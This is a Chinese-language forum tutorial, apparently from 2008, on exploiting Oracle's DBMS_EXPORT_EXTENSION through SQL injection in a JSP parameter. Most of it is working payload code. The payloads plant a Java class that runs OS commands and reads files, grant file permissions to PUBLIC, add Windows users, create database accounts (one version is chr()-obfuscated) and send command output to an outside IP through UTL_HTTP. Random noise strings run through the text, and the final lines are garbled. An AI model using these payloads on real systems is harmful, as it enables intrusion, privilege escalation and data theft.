以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
9 q4 A- _9 q$ I6 r
$ R0 I9 m; j! U) q /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) ; q/ C' l5 K7 X5 l5 O/ e4 v
的形式即可。(用" 'a'|| "是为了让语句返回true值) 4 B! P' P5 [# j4 N% M6 B
语句有点长,可能要用post提交。
8 h8 D1 H: @: G7 d# Y以下是各个步骤: & b5 T/ k1 r+ N9 u9 M, ]$ m! S
1.创建包 3 e, S* U Z* [( |' ]6 ?
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:. s. B9 k. P5 g- x4 L5 P
/xxx.jsp?id=1 and '1'<>'a'||( % [# A7 J& |+ s% c2 f; {
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''', W; @) Z: P" c/ z4 [/ W; k
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(" _, X: `2 [6 U8 l
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
9 X1 U: L! q W9 f% k; h* K}'''';END;'';END;--','SYS',0,'1',0) from dual
( N, \; w1 }" ?. J; C6 |9 X) $ |- |. z! o0 B8 \
------------------------
. ~% \8 C0 ^/ y, J: v如果url有长度限制,可以把readFile()函数块去掉,即: 7 x2 J# A% @) q5 H$ {# o1 h4 P1 d+ @* m
/xxx.jsp?id=1 and '1'<>'a'||( 7 I9 @8 j1 V; l$ v" r5 u
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''* D. L+ z8 Y/ z6 G
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
9 X" n9 C6 S: E/ ]new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}0 X G) p5 x6 v4 Q
}'''';END;'';END;--','SYS',0,'1',0) from dual
, c" F! r8 l4 q+ [+ {4 Z* s4 A) n) * ], c* f, E" @& S) c: j d: x( w
同时把后面步骤 提到的 对readFile()的处理语句去掉。 ( }6 K/ Y, S. {3 ^. j4 Q% b
------------------------------ : r+ O7 o' m* v+ k
2.赋Java权限 2 N6 `) @$ Z% U
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual( {5 G0 }" J" I7 }' _& h- w
3.创建函数
) k! y' P. ]9 f2 c. Y+ ~, y& ~' r! Pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''# X0 `8 R+ R+ f
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual! _ A3 R1 x' E J0 Y* O
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''7 r4 K9 h, \5 o: f8 F
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual# ~; F0 r: B( M% p6 L
4.赋public执行函数的权限 4 I& }( v7 ~: z! L# Y4 v9 J
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual y8 g0 b! l/ g% k! x
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual. T7 o- W# y G( I; I. l- e0 O1 _
5.测试上面的几步是否成功
2 z ?, k6 [! Z! W( B0 Pand '1'<>'11'||(
5 ^& n9 u2 c T: w6 ~4 Tselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD' 8 s+ }5 A- t& V9 v/ u/ F8 |/ T
) 6 h1 \& h; K- m. N% B
and '1'<>(
% C! K; u8 B6 @select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
1 \# \- U. K Q; z, y( Z) ' w2 r' k0 s6 p; O# D% G
6.执行命令:
# o+ Y5 T3 L6 G, @/xxx.jsp?id=1 and '1'<>(
; B/ E6 s' \2 f. e: J, hselect sys.LinxRunCMD('cmd /c net user linx /add') from dual
" C3 h! Z# c0 v* V! R* f5 q+ m. @3 S" L- y5 V
) ' J/ w3 ~5 g' f+ o4 V* A
/xxx.jsp?id=1 and '1'<>( 9 S; h* x1 D7 a; Z$ S; ?
select sys.LinxReadFile('c:/boot.ini') from dual9 s5 F: J% v/ o+ H
H a& y& Z- k% P7 b. F8 e1 W1 Q
)
9 i( u3 B ~; C6 m
3 F( t4 p8 U) W# R5 r; O& p) ?9 N F注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
6 m" U! _# e0 q9 A" w# g如果要查看运行结果可以用 union :
# H9 t- K6 X% q/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual9 S( M9 X4 G5 A1 l* _+ {
或者UTL_HTTP.request(: 3 n) ]4 v, H h* `4 U; Y! E
/xxx.jsp?id=1 and '1'<>( ; o' u4 @8 M2 n+ l0 t; c0 ^
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
/ n4 i1 s2 q: P; O }: M$ r7 g)
& S3 Z% R/ D; J$ y( C/xxx.jsp?id=1 and '1'<>(
4 A! m6 j$ [' d7 uSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual" P% B9 r/ o/ d8 b, S8 f1 R' U
)
+ z5 r* \1 a, \注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。2 O6 J4 q2 C. R* U& f' H8 x! e
--------------------
( `6 O. {& S/ p9 v6.内部变化
) g# z+ o+ x# _2 M通过以下命令可以查看all_objects表达改变: , u( s2 A8 {; w% h# K
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'- _/ t7 @0 l. [# _7 ]# C h
7.删除我们创建的函数
$ u) n+ ]% E( ?* Nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
- h, W. r/ H4 r) }! Adrop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
3 c% {% r" k) }0 W: D; A/ H2 T5 M====================================================
1 H+ ], l2 y6 T6 [1 ]3 Y全文结束。谨以此文赠与我的朋友。
8 D% }' F3 O) ~8 j' clinx
9 U8 ] P! i3 I124829445
- d9 n* d: @ c7 }1 j# |; h4 o2008.1.12
( L: v( D! l7 }4 g( ^& d$ d4 jlinyujian@bjfu.edu.cn ! s# H7 A/ N5 g# e
====================================================================== 2 x- h5 M: I% f, p* f
测试漏洞的另一方法:
! ]$ w2 j( d1 P; f8 o8 n6 a创建oracle帐号: * ]: o7 h6 L1 l/ a5 T- q M$ O
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 J, u% o% t" K# w
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual3 A8 P e6 p1 }6 \+ B
即: 7 d) ?; w! M+ ~" v. a( E+ j% G8 [7 [
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),3 ^7 L, \" M5 s
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual 1 W8 y2 P- G$ i4 }" i
确定漏洞存在: 9 P9 C7 d' b2 S0 ]* n/ E3 O1 D
1<>( - g! X: o5 o/ O7 l. y% U- B
select user_id from all_users where username='LINXSQL'
1 R4 d# L' `0 w! _. X& G) o) ; f. R. Z! T' f, }2 l) K
给linxsql连接权限:
/ t* i8 G3 g9 q ~& N. Zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* M5 ?( J* `$ U' y" i4 dGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
# ^6 q/ W, m. b$ b2 s O删除帐号:
# @& n* C; K+ a- N. S( {select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
9 y6 g: [" G1 i' T8 k% mdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual 4 o6 B7 m+ E5 w8 D9 Q8 B+ u
====================== # c- d) s% l2 a. W
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
: w' `% r; j' s0 ^1.jsp?id=1 and '1'<>( ' q6 o; M, r+ t3 X. z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') S( U& ^: w9 \2 ?0 A7 f, {8 ^$ y
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
8 P2 D' Y3 C i: v$ p; |* l# n) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
& O: c$ r! G$ ^" E2 Q2 h5 [6 p& e+ ] )
q* T0 ?9 {5 h6 G- ?: U' Y8 g) }& B! F& `' x, W. l
1 D% h1 f6 @8 n6 f' a5 o Z3 L8 ~* `( I4 G3 m/ s
|